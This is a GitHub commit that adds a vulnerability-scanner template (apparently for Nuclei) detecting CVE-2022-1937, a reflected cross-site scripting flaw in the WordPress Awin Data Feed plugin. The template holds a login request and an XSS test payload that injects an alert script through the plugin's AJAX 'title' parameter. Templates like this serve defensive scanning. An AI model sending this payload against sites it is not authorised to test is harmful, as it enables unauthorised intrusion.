Create CVE-2022-1937.yaml

patch-1
Ritik Chaddha 2022-07-27 10:25:13 +05:30 committed by GitHub
parent dfd0c74708
commit 7640d552dc
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: CVE-2022-1937
info:
name: Awin Data Feed <= 1.6 - Reflected Cross-Site Scripting
author: Akincibor,DhiyaneshDK
severity: medium
description: |
The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/eb40ea5d-a463-4947-9a40-d55911ff50e9
- https://nvd.nist.gov/vuln/detail/CVE-2022-1937
metadata:
verified: true
tags: wp-plugin,xss,wp,wordpress,authenticated,awin
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
req-condition: true
matchers:
- type: dsl
dsl:
- 'contains(all_headers_2, "text/html")'
- 'status_code_2 == 200'
- contains(body_2, 'colspan=\"2\"><script>alert(document.domain)</script></th>')
condition: and